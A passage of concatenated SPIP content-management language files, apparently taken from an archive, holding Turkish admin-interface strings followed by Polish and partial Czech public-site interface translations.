'logo_rubrique' => 'BÖLÜM LOGOSU', # MODIF
'logo_site' => 'SİTE LOGOSU', # MODIF
'logo_standard_rubrique' => 'STANDART BÖLÜM LOGOSU', # MODIF
'logo_survol' => 'ÜZERİNDEN GEÇME LOGOSU', # MODIF
// M
'menu_aide_installation_choix_base' => 'Veritabanınızın seçimi',
'module_fichier_langue' => 'Dil dosyası ',
'module_raccourci' => 'Kısayol',
'module_texte_affiche' => 'Gösterilen metin',
'module_texte_explicatif' => 'Kamu sitenizin şablonlarına şu kestirmeleri ekleyebilirsiniz. Dil dosyası çevirisi bulunan çeşitli dillere otomatik olarak çevrileceklerdir.',
'module_texte_traduction' => '« @module@ » dil dosyasının bulunduğu yer :',
'mois_non_connu' => 'Bilinmiyor ',
// O
'onglet_contenu' => 'İçerik',
'onglet_declarer_une_autre_base' => 'Başka bir veri tabanı bildirin',
'onglet_discuter' => 'Tartışma',
'onglet_documents' => 'Belgeler',
'onglet_interactivite' => 'Etkileşimlilik',
'onglet_proprietes' => 'Özellikler',
'onglet_repartition_actuelle' => 'Şu anda ',
'onglet_sous_rubriques' => 'Alt-başlıklar',
// P
'page_pas_proxy' => 'Bu sayfa velilden (proxy) geçmemeli',
'pas_de_proxy_pour' => 'Gerekirse, bu vekilin uygulanmayacağı makineleri veya alanları belirtiniz (örneğin : @ornek@)',
'plugin_charge_paquet' => '@name@ paketinin yüklenmesi',
'plugin_erreur_charger' => 'hata : @zip@ yüklenmesi olanaksız',
'plugin_erreur_droit1' => '<code>@dest@</code> dizini yazmak için izinli değil.',
'plugin_erreur_droit2' => 'Bu dizindeki hakları kontrol ediniz (ve hata durumunda oluşturunuz) veya dosyaları FTP ile kurunuz.',
'plugin_erreur_zip' => 'pclzip hatası : hata @status@',
'plugin_etat_developpement' => 'geliştirme aşamasında',
'plugin_etat_experimental' => 'deneysel',
'plugin_etat_stable' => 'durgun ("stable")',
'plugin_etat_test' => 'test aşamasında',
'plugin_impossible_activer' => '@plugin@ plugin’ini aktive etmek olanaksız',
'plugin_info_automatique1' => 'Eklentilerin otomatik yüklenmesini istiyorsanız, lütfen :',
'plugin_info_automatique2' => '<code>@rep@</code> isimli bir dizin oluşturun ;',
'plugin_info_automatique3' => 'sunucunun bu dizine yazma hakkı olduğunu kontrol ediniz',
'plugin_info_automatique_creer' => 'sitenin kök dizinini oluşturma',
'plugin_info_automatique_exemples' => 'örnekler :',
'plugin_info_automatique_ftp' => 'Eklentileri FTP ile <tt>@rep@</tt> dizinine yükleyebilirsiniz',
'plugin_info_automatique_lib' => 'Bazı eklentiler demandent aussi à pouvoir <code>lib/</code> dizinine dosya indirme iznini de gerektirirler, aksi halde bu dizini sitenin kök dizininde oluştururlar.',
'plugin_info_automatique_liste' => 'Eklenti listeleriniz :',
'plugin_info_automatique_liste_officielle' => 'resmî eklentiler',
'plugin_info_automatique_liste_update' => 'Listeleri güncelle',
'plugin_info_automatique_ou' => 'veya...',
'plugin_info_automatique_select' => 'Aşağıdan bir eklenti seçiniz : SPIP o eklentiyi indirecek ve <code>@rep@</code> dizinine kuracaktır ; eğer bu eklenti zaten kurulu ise güncellenecektir.',
'plugin_info_telecharger' => '@url@ adresinden indirmeye ve @rep@ dizinine yüklemeye',
'plugin_librairies_installees' => 'Kurulu kütüphaneler',
'plugin_necessite_lib' => 'Bu eklenti @lib@ kütüphanesini gerektirir',
'plugin_necessite_plugin' => '@plugin@ plugin’inin en az @version@ sürümünü gerektirir.',
'plugin_necessite_spip' => 'SPIP’in en az @version@ sürümünü gerektirir.',
'plugin_source' => 'kaynak: ',
'plugin_titre_automatique' => 'Otomatik kurulum',
'plugin_titre_automatique_ajouter' => 'Eklenti ekleyiniz',
'plugin_zip_active' => 'Aktive etmek için devam ediniz',
'plugin_zip_adresse' => 'aşağıda indirilecek eklentiye ait zip dosyasının adresini veya bir çok eklentinin adres listesini belirtiniz.',
'plugin_zip_adresse_champ' => 'Eklentinin veya listenin adresi ',
'plugin_zip_content' => 'Şu dosyaları içerir (@taille@). <br />Bu yüklenebilir dosyalar şu dizinde bulunuyor :<code>@rep@</code>',
'plugin_zip_installe_finie' => '@zip@ dosyası açıldı ve yüklendi.',
'plugin_zip_installe_rep_finie' => '@zip@ dosyası açıldı ve @rep@ dizinine yüklendi.',
'plugin_zip_installer' => 'Şimdi yükleyebilirsiniz.',
'plugin_zip_telecharge' => '@zip@ dosyası bilgisayara indirildi',
'plugins_actifs' => '@count@ eklenti etkinleştirildi.',
'plugins_compte' => '@count@ eklenti',
'plugins_disponibles' => '@count@ eklenti kullanılabilir durumda.',
'plugins_erreur' => 'Eklentilerde hata var : @plugins@',
'plugins_liste' => 'Plugin listesi',
'plugins_vue_hierarchie' => 'Hiyerarşi',
'plugins_vue_liste' => 'Liste',
'protocole_ldap' => 'Protokol sürümü :',
// R
'repertoire_plugins' => 'Dizin :',
// S
'sans_heure' => 'saatsiz',
'statut_admin_restreint' => '(sınırlı yönetici)', # MODIF
// T
'taille_cache_image' => 'SPIP tarafından otomatik olarak hesaplanan resimler (doküman ikonları, grafik olarak gösterilen başlıklar, TeX biçimindeki matematik işlevler...) @dir@ dizininde toplam @taille@ yer tutuyor.',
'taille_cache_infinie' => 'Bu site <code>önbellek (CACHE)</code> dizininin boyutu için herhangi bir sınır öngörmüyor.',
'taille_cache_maxi' => 'SPIP, bu sitenin <code>önbellek (CACHE)</code> dizininin boyutunu yaklaşık @octets@ lik veriyle sınırlamaya çalışıyor.',
'taille_cache_octets' => 'Önbelleğin ölçüsü şu anda @octets@ dir.', # MODIF
'taille_cache_vide' => 'Ön bellek boş.',
'taille_repertoire_cache' => 'Ön bellek dizininin boyutu',
'text_article_propose_publication' => 'Yayın için önerilen makale. ',
'texte_acces_ldap_anonyme_1' => 'Bazı LDAP sunucular hiç bir anonim erişimi kabul etmiyorlar. Bu durumda, bir başlangıç erişim tanımlayıcısı belirtmek gerekir ki sonra dizinde bilgi aranabilsin. Ancak, bir çok durumda, şu alanlar boş bırakılabilir:',
'texte_admin_effacer_01' => 'Bu komut veritabanının,
yazarlar ve yönetici erişimleri dahil, <i>tüm</i> içeriğini siler.
Bu komuttan sonra, yeni bir veritabanı ve bir yönetici
erişimi yaratmak üzere SPIP’i
yeniden yüklemelisiniz. ',
'texte_adresse_annuaire_1' => '(Eğer dizininiz bu Web sitesi ile aynı makinaya yüklenmiş ise, muhtemelen bir yerel hizmet bilgisayarı «localhost» sözkonusudur.)',
'texte_ajout_auteur' => 'Makaleye şu yazar eklendi :',
'texte_annuaire_ldap_1' => 'Eğer bir (LDAP) dizinine erişiminiz varsa, onu SPIP’e otomatik olarak kullanıcı ithal etmek için kullanabilirsiniz. ',
'texte_article_statut' => 'Bu makale :',
'texte_article_virtuel' => 'Sanal makale',
'texte_article_virtuel_reference' => '<b>Sanal makale :</b> SPIP sitenizde atıfta bulunulan ancak başka bir URL’ye yönlendirilmiş bir makaledir. Yeniden yönlendirmeyi iptâl etmek için yukarıdaki URL’yi siliniz.',
'texte_aucun_resultat_auteur' => '"@cherche_auteur@" için hiçbir sonuç yok.',
'texte_auteur_messagerie' => 'Bu site size bağlı olan yazarların listesini sürekli olarak belirtebilir, bu da sizin doğrudan ileti alışverişinde bulunmanızı sağlar. Bu listede görünmemeyi seçebilirsiniz (bu durumda diğer kullanıcılara « görünmez »sinizdir).',
'texte_auteur_messagerie_1' => 'Bu site ileti alışverişini ve site katılımcıları arasında özel sohbet forumları oluşturmayı sağlar. Bunlara katılmamayı tercih edebilirsiniz. ',
'texte_auteurs' => 'YAZARLAR',
'texte_choix_base_1' => 'Veritabanınızı seçiniz :',
'texte_choix_base_2' => 'SQL sunucusu bir çok veritabanı içeriyor.',
'texte_choix_base_3' => 'Aşağıda servis sağlayıcınız tarafından size ayrılmış olanı <b>seçiniz</b>.',
'texte_choix_table_prefix' => 'Tablo ön-ekleri :',
'texte_commande_vider_tables_indexation' => 'Bu komutu SPIP’teki arama motoru tarafından
kullanılan endeksleme çizelgelerini boşaltmak için kullanınız.
Diskteki alanı boşa harcamamış olursunuz.',
'texte_compresse_ou_non' => '(bu, sıkıştırılmış ya da sıkıştırılmamış olabilir)',
'texte_compte_element' => '@count@ eleman',
'texte_compte_elements' => '@count@ eleman',
'texte_conflit_edition_correction' => 'Lütfen aşağıdaki 2 metin arasındaki farkları kontrol edin ; değişikliklerinizi kopyalayıp devam da edebilirsiniz.',
'texte_connexion_mysql' => 'Servis sağlayıcınız tarafından size verilen bilgilere bakınız : orada size önerilen veri tabanı sunucusunu ve bu sunucuya bağlanmak için gereken bilgileri bulacaksınız. ',
'texte_contenu_article' => '(Birkaç sözcükte makalenin içeriği) ',
'texte_contenu_articles' => 'Siteniz için benimsenen yerleşim planı uyarınca,
makalelerin bazı elemanlarının kullanılmamasına karar verebilirsiniz.
Hangi unsurların müsait olduğunu belirtmek için aşağıdaki listeyi kullanınız. ',
'texte_crash_base' => 'Eğer veritabanınız bozulduysa,
otomatik tamiri deneyebilirsiniz. ',
'texte_creer_rubrique' => 'Makale yazabilmek için önce bir bölüm yaratmanız gerekmektedir.',
'texte_date_creation_article' => 'MAKALENİN YAYIN TARİHİ :',
'texte_date_publication_anterieure' => 'Bir önceki düzeltme tarihi :',
'texte_date_publication_anterieure_nonaffichee' => 'Yayın tarihini görüntüleme',
'texte_date_publication_article' => 'ÇEVRİMİÇİ YAYINLANMA TARİHİ:',
'texte_descriptif_petition' => 'Dilekçenin tanımı',
'texte_descriptif_rapide' => 'Hızlı tanım',
'texte_effacer_base' => 'SPIP veritabanını sil',
'texte_effacer_donnees_indexation' => 'Endeksleme verilerini sil',
'texte_effacer_statistiques' => 'İstatistikleri sil',
'texte_en_cours_validation' => 'Aşağıdaki makale ve kısa haberler yayın için önerilmiştir. ', # MODIF
'texte_enrichir_mise_a_jour' => 'Metninizin sayfa düzenini « tipografi kısaltmaları » kullanarak zenginleştirebilirsiniz.',
'texte_fichier_authent' => 'SPIP’in, .htpasswd ve .htpasswd-admin özel dosyalarını @dossier@ dizininde yaratması gerekir mi ? Bu dosyalar sizin, sitenizin başka yerlerine sadece yazar ve yöneticilerin erişmesini sınırlamanızı sağlayabilir (örneğin, dışsal istatistik programı). Bunun bir yararı olmadığını düşünüyorsanız bu seçeneği varsayılan değerinde bırakabilirsiniz (dosya yaratma işlemi yapılmaz).', # MODIF
'texte_informations_personnelles_1' => 'Sistem şimdi size kişiselleştirilmiş bir erişim (hesap) yaratacaktır.',
'texte_informations_personnelles_2' => '(Not : eğer yeniden kurulum sözkonusu ise ve erişiminiz halen çalışıyorsa, yapabileceğiniz :', # MODIF
'texte_introductif_article' => '(Makalenin giriş metni.)',
'texte_jeu_caractere' => 'Sitenizde evrensel alfabe (<tt>utf-8</tt>) kullanmanız önerilir: bu alfabe metinlerin tüm dillerde görüntülenmesine olanak tanır ve modern web tarayıcılarında hiç sorun yaratmaz.',
'texte_jeu_caractere_2' => 'Dikkat : bu ayar veritabanına önceden kaydedilmiş metinleri dönüştürmez.',
'texte_jeu_caractere_3' => 'Sitenizin şu anda kurulu olan karakter seti :',
'texte_jeu_caractere_4' => 'Eğer bu verilerinize uymazsa (örneğin bir veritabanı kurtarma işleminden sonra) veya <em>siteyi yeni kuruyorsanız</em> ve başka bir karakter setiyle devam etmek istiyorsanız bunu belirtmeyi unutmayınız :',
'texte_jeu_caractere_conversion' => 'Not : tüm siteyi (makaleler, kısa haberler, forumlar vs.) <a href="@url@">utf-8’e dönüştürme sayfasına giderek</a> bir kerede <tt>utf-8</tt>’ye dönüştürmek isteyebilirsiniz.',
'texte_lien_hypertexte' => '(Eğer iletiniz Web’de yayınlanan bir makaleye, ya da daha fazla bilgi veren bir sayfaya atıfta bulunuyorsa, lütfen buraya sayfanın başlığını ve URL adresini belirtiniz.)',
'texte_login_ldap_1' => '(Ya anonim bir erişim için boş bırakınız ya da tüm yolu belirtiniz, örneğin; « uid=dupont, ou=users, dc=mon-domaine, dc=com ».)',
'texte_login_precaution' => 'Dikkat ! Bu şu anki bağlantı için kullanılan kullanıcı ismidir.
Bu formu dikkatli kullanınız...',
'texte_message_edit' => 'Dikkat : bu ileti sitenin tüm yöneticileri tarafından değiştirilebilir ve tüm yazarlar tarafından görülebilir. Duyuruları sadece site yaşamının önemli olaylarını ortaya koymak için kullanınız.',
'texte_messagerie_agenda' => 'Mesajlaşma, site yazarlarına özel alanda kendi aralarında direkt olarak haberleşme olnağı tanır. Mesajlaşma bir ajandaya bağlıdır.',
'texte_mise_a_niveau_base_1' => 'SPIP dosyalarını güncelleştirmiş bulunuyorsunuz. Şimdi sitenin veritabanını aynı seviyeye yükseltmeniz gerekir.',
'texte_modifier_article' => 'Makaleyi değiştir :',
'texte_moteur_recherche_active' => '<b>Arama motoru etkin.</b> Bu komutu, eğer (örneğin bir yedeklemeyi geri yükledikten sonra) tekrar hızlı bir endeksleme yapmak istiyorsanız kullanın. Normal bir şekilde (SPIP arayüzünden) değiştirilen dokümanların otomatik olarak tekrar endekslendiğine dikkatinizi çekeriz : dolayısıyla bu komut ancak istisnai olarak faydalıdır.',
'texte_moteur_recherche_non_active' => 'Arama motoru aktif değil.',
'texte_multilinguisme' => 'Eğer karmaşık gezintili, bir kaç dilde makaleler yönetmek istiyorsanız makalelere ve/veya bölümlere sitenizin düzenine göre bir dil seçeneği mönüsü ekleyebilirsiniz.', # MODIF
'texte_multilinguisme_trad' => 'Ayrıca, bir makalenin çeşitli çevirileri arasında bir bağlantı yönetme sistemi de çalıştırabilirsiniz. ', # MODIF
'texte_non_compresse' => 'Sıkıştırılmamış (sunucunuz bu özniteliği taşıyamıyor). ',
'texte_nouveau_message' => 'Yeni ileti',
'texte_nouvelle_version_spip_1' => 'SPIP’in yeni bir sürümünü yüklediniz.',
'texte_nouvelle_version_spip_2' => 'Bu yeni uyarlama alışılana göre daha eksiksiz bir güncelleştirme gerektirir. Eğer siz bu sitenin Ağ Yöneticisi iseniz lütfen @connect@ dosyasını ecrire dizininden siliniz ve veritabanına bağlantı parametrelerinizi güncelleştirmek amacıyla yüklemeyi tekrar yapınız. <p>(Not : bağlantı parametrelerinizi unuttuysanız, silmeden önce @connect@ dosyasına bir göz atınız...) </p>', # MODIF
'texte_operation_echec' => 'Bir önceki sayfaya geri dönüp başka bir veri tabanı seçiniz ya da yeni bir tane yaratınız. Ana bilgisayarınız tarafından verilen bilgilerden emin olunuz. ',
'texte_plus_trois_car' => '3 karakterden fazla',
'texte_plusieurs_articles' => '"@cherche_auteur@" için bir kaç yazar bulundu : ',
'texte_port_annuaire' => '(Genelde, varsayılan değer uygundur.) ',
'texte_presente_plugin' => 'Bu sayfa sitedeki plugin’leri listeler. Gerekli plugin’leri uygun kutucukları işaretleyerek etkinleştirebilirsiniz.',
'texte_proposer_publication' => 'Makaleniz bittiğinde, yayınlanmasını önerebilirsiniz. ',
'texte_proxy' => 'Bazı durumlarda (intranet, korumalı ağlar...), referans verilen sitelere ulaşmak için bir <i>HTTP vekili</i> kullanmak gerekebilir. Başarısızlık durumunda, adresini aşağıya @proxy_en_cours@. (http://proxy:8080) biçiminde belirtiniz. Genelde bu kutu boş bırakılır.',
'texte_publication_articles_post_dates' => 'Yayınlanması ileri bir tarihe saptanan makaleler karşısında SPIP ne gibi bir tavır almalı ?',
'texte_rappel_selection_champs' => '[Bu alanı doğru olarak seçmeyi unutmayınız.] ',
'texte_recalcul_page' => 'Sadece bir tek sayfayı yenilemek istiyorsanız, daha ziyade kamu sitesinden geçiniz ve orada « yenileme » düğmesini seçiniz.',
'texte_recapitiule_liste_documents' => 'Bu sayfa bölümlere yerleştirdiğiniz dokümanların listesini özetler. Her bir dokümanın bilgilerini değiştirmek için o bölümün sayfasına giden bağı izleyiniz. ',
'texte_recuperer_base' => 'Veritabanını tamir et',
'texte_reference_mais_redirige' => 'SPIP sitenizde atıfta bulunulan ve başka bir URL’ye yönlendirilmiş makale.',
'texte_requetes_echouent' => '<b>Bazı SQL talepleri sistematik olarak ve görünürde bir neden olmaksızın başarısız oluyorsa bunun nedeni veri tabanının kendisi olabilir.</b> <p>
SQL’in, kazayla zarar gören tablolarını onarma yeteneği vardır. Burada bu onarımı deneyebilirsiniz ; başarısızlık durumunda, görüntünün bir kopyasını saklayınız, belki orada aksayan şeylerin ipuçlarını bulabilirsiniz... Eğer sorun devam ederse servis sağlayıcınızla temasa geçiniz.</p>', # MODIF
'texte_selection_langue_principale' => 'Aşağıda sitenin « başlıca dil » ini seçebilirsiniz. Bu seçim, sizin makalelerinizi seçilen dilde yazmanızı gerektirmez, buna karşılık :
<ul><li> kamu sitesindeki tarihlerin varsayılan formatını ;</li>
<li> SPIP’in metinler için kullanacağı tipografi motorunun cinsini ;</li>
<li> kamu sitesinin formlarında kullanılan dili ;</li>
<li> özel alanda varsayılan dili belirlemeye yarar.</li></ul>',
'texte_sous_titre' => 'Alt-başlık',
'texte_statistiques_visites' => '(koyu çizgiler : pazar / koyu eğriler : ortalamanın gelişimi)',
'texte_statut_attente_validation' => 'Onay bekliyor',
'texte_statut_publies' => 'Yayınlandı',
'texte_statut_refuses' => 'Reddedildi',
'texte_suppression_fichiers' => 'Bu komutu SPIP önbelleğinde bulunan tüm dosyaları yok etmek için kullanınız. Örneğin grafiklerde ya da site yapısında önemli değişiklikler yaptıysanız tüm sayfaları yeniden oluşturulmaya zorlamanızı sağlar.',
'texte_sur_titre' => 'Üst başlık ',
'texte_table_ok' => ': bu tablo tamam.',
'texte_tables_indexation_vides' => 'Motorun endeksleme tabloları boş.',
'texte_tentative_recuperation' => 'Tamir denemesi',
'texte_tenter_reparation' => 'Veritabanının tamirini dene',
'texte_test_proxy' => 'Bu vekili denemek için buraya test etmek istediğiniz bir Web sitesinin adresini belirtiniz. ',
'texte_titre_02' => 'Başlık :',
'texte_titre_obligatoire' => '<b>Başlık</b> [Zorunlu]',
'texte_travail_article' => '@nom_auteur_modif@ bu makale üzerinde @date_diff@ dakika önce çalıştı',
'texte_travail_collaboratif' => 'Bir kaç yazarın aynı makalede çalışıyor olması sıkça rastlansa da, sistem eşzamanlı değişiklikleri önlemek amacıyla yeni « açılmış » olan makaleleri görüntüleyebilir. Bu seçenek geçici uyarı iletilerinin görüntülenmesine engel olmak üzere başlangıçta engellenmiştir.',
'texte_trop_resultats_auteurs' => '"@cherche_auteur@" için fazla sonuç çıktı ; lütfen aramayı detaylandırın',
'texte_unpack' => 'Son sürümün indirilmesi',
'texte_utilisation_moteur_syndiques' => 'SPIP’le bütünleşik arama motorunu kullandığınızda paylaşımlı site ve makalelerde aramalarınızı iki farklı şekilde yapabilirsiniz. <br /> En basit yöntem sadece makalelerin başlık ve tanımlarında arama yapmaktır. Diğer bir yöntem ise çok daha güçlü olup, SPIP’in atıfta bulunulan sitelerin metinlerinde de arama yapmasını sağlar. Eğer bir siteye atıfta bulunursanız, SPIP aramayı o sitenin metninde yapacaktır. ',
'texte_utilisation_moteur_syndiques_2' => 'Bu yöntem SPIP’i atıfta bulunulan sitelere düzenli olarak ziyarette bulunmaya zorlar, bu da sizin kendi sitenizde hafif bir yavaşlamaya neden olabilir. ',
'texte_vide' => 'Boş ',
'texte_vider_cache' => 'Önbelleği boşalt',
'titre_admin_effacer' => 'Teknik bakım ',
'titre_admin_tech' => 'Teknik bakım ',
'titre_admin_vider' => 'Teknik bakım ',
'titre_cadre_afficher_article' => 'Makaleleri göster',
'titre_cadre_afficher_traductions' => 'Aşağıdaki dillerin çevirilerinin durumunu göster :',
'titre_cadre_ajouter_auteur' => 'BİR YAZAR EKLE :',
'titre_cadre_interieur_rubrique' => 'Bölüm içinde',
'titre_cadre_numero_auteur' => 'YAZAR NO',
'titre_cadre_signature_obligatoire' => '<b>İmza</b> [Zorunlu]<br />',
'titre_config_contenu_notifications' => 'Notlama',
'titre_config_contenu_prive' => 'Özel alanda',
'titre_config_contenu_public' => 'Kamusal sitede',
'titre_config_fonctions' => 'Site konfigürasyonu',
'titre_configuration' => 'Site konfigürasyonu',
'titre_conflit_edition' => 'Düzenleme esnasında çakışma',
'titre_connexion_ldap' => 'Seçenekler : <b>LDAP bağlantılarınız</b>',
'titre_groupe_mots' => 'SÖZCÜK GRUBU:',
'titre_langue_article' => 'MAKALENİN DİLİ ', # MODIF
'titre_langue_rubrique' => 'BÖLÜMÜN DİLİ', # MODIF
'titre_langue_trad_article' => 'MAKALENİN DİLİ VE ÇEVİRİLERİ ',
'titre_les_articles' => 'MAKALELER',
'titre_messagerie_agenda' => 'Mesajlaşma ve Ajanda',
'titre_naviguer_dans_le_site' => 'Sitede gezin...',
'titre_nouvelle_rubrique' => 'Yeni bölüm',
'titre_numero_rubrique' => 'BÖLÜM NO :',
'titre_page_admin_effacer' => 'Teknik bakım : veritabanını sil',
'titre_page_articles_edit' => 'Değiştir : @titre@',
'titre_page_articles_page' => 'Makaleler ',
'titre_page_articles_tous' => 'Tüm site',
'titre_page_auteurs' => 'Ziyaretçiler',
'titre_page_calendrier' => 'Takvim @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Site konfigürasyonu',
'titre_page_config_fonctions' => 'Site konfigürasyonu',
'titre_page_configuration' => 'Site konfigürasyonu',
'titre_page_controle_petition' => 'Dilekçelerin izlenmesi',
'titre_page_delete_all' => 'tamamen ve geri alınamaz biçimde silinmesi',
'titre_page_documents_liste' => 'Bölümlere ait dokümanlar',
'titre_page_index' => 'Özel alanınız',
'titre_page_message_edit' => 'Bir ileti oluştur',
'titre_page_messagerie' => 'İletileriniz',
'titre_page_recherche' => 'Arama sonuçları @recherche@ ',
'titre_page_statistiques_referers' => 'İstatistikler (giriş bağları)',
'titre_page_statistiques_signatures_jour' => 'Günlük imza sayısı',
'titre_page_statistiques_signatures_mois' => 'Aylık imza sayısı',
'titre_page_upgrade' => 'SPIP seviyesinin yükseltilmesi ',
'titre_publication_articles_post_dates' => 'İleri tarihli makalelerin yayınlanması ',
'titre_referencer_site' => 'Atıfta bulunulacak site : ',
'titre_rendez_vous' => 'RANDEVU :',
'titre_reparation' => 'Onarım',
'titre_suivi_petition' => 'Dilekçelerin izlenmesi',
'tls_ldap' => 'Taşıma Katmanı Güvenliği (TLS) :',
'trad_article_inexistant' => 'Bu numaralı bir makale yok.',
'trad_article_traduction' => 'Bu makalenin tüm sürümleri :',
'trad_deja_traduit' => 'Bu makalenin istenen numaraya bağlanması olanaksız.',
'trad_delier' => 'Bu makaleyi artık şu çevirilere bağlama', # MODIF
'trad_lier' => 'Bu makale şu nolu makalenin çevirisidir :',
'trad_new' => 'Bu makalenin yeni bir çevirisini yaz', # MODIF
// U
'upload_info_mode_document' => 'Bu resmi portföye ekle',
'upload_info_mode_image' => 'Bu resmi portföyden çıkar',
'utf8_convert_attendez' => 'Bir süre bekleyip sayfayı yeniden yükleyiniz.',
'utf8_convert_avertissement' => 'Veritabanınızın içeriğini (makaleler, kısa haberler vs.) <b>@orig@</b> karakter setinden <b>@charset@</b> karakter setine dönüştürmektesiniz .',
'utf8_convert_backup' => 'Önceden sitenizin tam bir yedeğini almayı unutmayınız. Ayrıca iskeletlerinizin ve dil dosyalarınızın @charset@ karakter setiyle uyumlu olup olmadığını doğrulamalısınız. ',
'utf8_convert_erreur_deja' => 'Siteniz zaten @charset@ karakter setinde, dönüştürmeniz gereksiz...',
'utf8_convert_erreur_orig' => 'Hata : @charset@ karakter seti desteklenmiyor.',
'utf8_convert_termine' => 'Tamamlandı !',
'utf8_convert_timeout' => '<b>Önemli :</b> sunucuda <i>zaman aşımı</i> oluşursa sayfayı « tamamlandı » yazana kadar tekrar yükleyiniz.',
'utf8_convert_verifier' => 'Şimdi önbelleği boşaltmalı ve sitenin kamusal sayfalarında herşeyin yolunda olduğunu doğrulamalısınız. Büyük bir soun varsa, @rep@ dizininde verilerinizin bir yedeği (SQL formatında) alınmıştır.',
'utf8_convertir_votre_site' => 'Sitenizi utf-8’e dönüştürmek',
// V
'version' => 'Sürüm :'
);
?>
public_pl.php 0000666 00000007744 15252547432 0007257 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=pl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Strona główna', # MODIF
'article' => 'Artykuł',
'articles' => 'Artykuły',
'articles_auteur' => 'Artykuły napisane przez tego autora',
'articles_populaires' => 'Najbardziej popularne artykuły',
'articles_rubrique' => 'Artykuły w tym dziale',
'aucun_article' => 'Nie ma żadnego artykułu pod tym adresem',
'aucun_auteur' => 'Nie ma żadnego autora pod tym adresem',
'aucun_site' => 'Nie ma żadnej strony pod tym adresem',
'aucune_breve' => 'Nie ma żadnego newsa pod tym adresem ',
'aucune_rubrique' => 'Nie ma żadnego działu pod tym adresem',
'auteur' => 'Autor',
'autres' => 'Inne',
'autres_breves' => 'Reszta aktualności',
'autres_groupes_mots_clefs' => 'Inne grupy słów kluczowych',
'autres_sites' => 'Inne strony',
// B
'bonjour' => 'Dzień dobry',
// C
'commenter_site' => 'Dodaj komentarz na temat strony',
'contact' => 'Kontakt',
'copie_document_impossible' => 'Kopiowanie tego dokumentu jest uniemożliwione',
// D
'date' => 'Data',
'dernier_ajout' => 'Dodane ostatnio',
'dernieres_breves' => 'Najnowsze aktualności',
'derniers_articles' => 'Najnowsze artykuły',
'derniers_commentaires' => 'Ostatnie komentarze',
'derniers_messages_forum' => 'Ostatnie wiadomości opublikowane w forum',
// E
'edition_mode_texte' => 'Edycja w trybie tekstowym',
'en_reponse' => 'W odpowiedzi na :',
'en_resume' => 'W skrócie',
'envoyer_message' => 'Wyślij wiadomość',
'espace_prive' => 'Strefa prywatna',
// F
'formats_acceptes' => 'Ważne formaty: @formats@.',
// H
'hierarchie_site' => 'Mapa strony',
// J
'jours' => 'dni',
// L
'lien_connecter' => 'Zaloguj się',
// M
'meme_auteur' => 'Ten sam autor',
'meme_rubrique' => 'W tym samym dziale',
'memes_auteurs' => 'Tych samych autorów',
'message' => 'Wiadomość',
'messages_forum' => 'Wiadomości na forum', # MODIF
'messages_recents' => 'Najnowsze wiadomości na forum',
'mots_clef' => 'Słowo kluczowe',
'mots_clefs' => 'Słowa kluczowe',
'mots_clefs_meme_groupe' => 'Słowa kluczowe z tej samej grupy',
// N
'navigation' => 'Nawigacja',
'nom' => 'Nazwisko',
'nouveautes' => 'Nowości',
'nouveautes_web' => 'Nowości w Internecie',
'nouveaux_articles' => 'NOwe artykuły',
'nouvelles_breves' => 'Najnowsze aktualności',
// P
'page_precedente' => 'poprzednia strona',
'page_suivante' => 'następna strona',
'par_auteur' => 'przez',
'participer_site' => 'Możesz wziąć udział w tworzeniu tego serwisu i proponować własne artykuły. Aby mieć taką możliwość, musisz się zapisać poniżej. Na podany adres e-mail otrzymasz hasło dostępu do strefy prywatnej serwisu.',
'plan_site' => 'Mapa strony',
'popularite' => 'Popularność',
'poster_message' => 'Napisz wiadomość',
'proposer_site' => 'Możes zaproponować stronę do dodania w tym katalogu:',
// R
'repondre_article' => 'Skomentuj ten artykuł',
'repondre_breve' => 'Skomentuj ten news',
'resultats_recherche' => 'Wynik wyszukiwania',
'retour_debut_forums' => 'Powrót do strony głównej forum',
'rubrique' => 'Dział',
'rubriques' => 'Działy',
// S
'signatures_petition' => 'Podpisy',
'site_realise_avec_spip' => 'Strona zrealizowana przy pomocy SPIP',
'sites_web' => 'Strony internetowe',
'sous_rubriques' => 'Pod-działy',
'spam' => 'Spam',
'suite' => 'więcej',
'sur_web' => 'W internecie',
'syndiquer_rubrique' => 'Ten dział',
'syndiquer_site' => 'Całą stronę',
// T
'texte_lettre_information' => 'Poniżej lista subskrypcyjna serwisu',
'texte_lettre_information_2' => 'Na tej liście znajdziesz archiwum artykułów i aktualności opublikowanych od', # MODIF
// V
'ver_imprimer' => 'Wersja do druku',
'voir_en_ligne' => 'Zobacz on-line',
'voir_squelette' => 'zobacz szkielet/template strony'
);
?>
public_cs.php 0000666 00000007456 15252547432 0007251 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=cs
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Hlavní strana', # MODIF
'articles' => 'Články',
'articles_auteur' => 'Články tohoto autora',
'articles_populaires' => 'Nejčtenější články',
'articles_rubrique' => 'Články v této rubrice',
'aucun_article' => 'Na této adrese není žádný článek',
'aucun_auteur' => 'Na této adrese není žádný autor',
'aucun_site' => 'Na této adrese není žádný odkaz',
'aucune_breve' => 'Na této adrese není žádná novinka',
'aucune_rubrique' => 'Na této adrese není žádná rubrika',
'autres' => 'Ostatní',
'autres_breves' => 'Další novinky',
'autres_groupes_mots_clefs' => 'Další skupiny klíčových slov',
'autres_sites' => 'Další odkazy',
// B
'bonjour' => 'Dobrý den',
// C
'commenter_site' => 'Komentář k tomuto odkazu',
'copie_document_impossible' => 'Dokument není možné kopírovat',
// D
'date' => 'Datum',
'dernier_ajout' => 'Poslední příspěvky',
'dernieres_breves' => 'Poslední novinky',
'derniers_articles' => 'Poslední články',
'derniers_commentaires' => 'Poslední komentáře',
'derniers_messages_forum' => 'Poslední příspěvky v diskusních fórech',
// E
'edition_mode_texte' => 'Textový režim',
'en_reponse' => 'Odpověď na:',
'en_resume' => 'Shrnutí',
'envoyer_message' => 'Odeslat zprávu',
'espace_prive' => 'Vstup pro autory',
// F
'formats_acceptes' => 'Povolené formáty: @formats@.',
// H
'hierarchie_site' => 'Struktura stránek',
// J
'jours' => 'dnů',
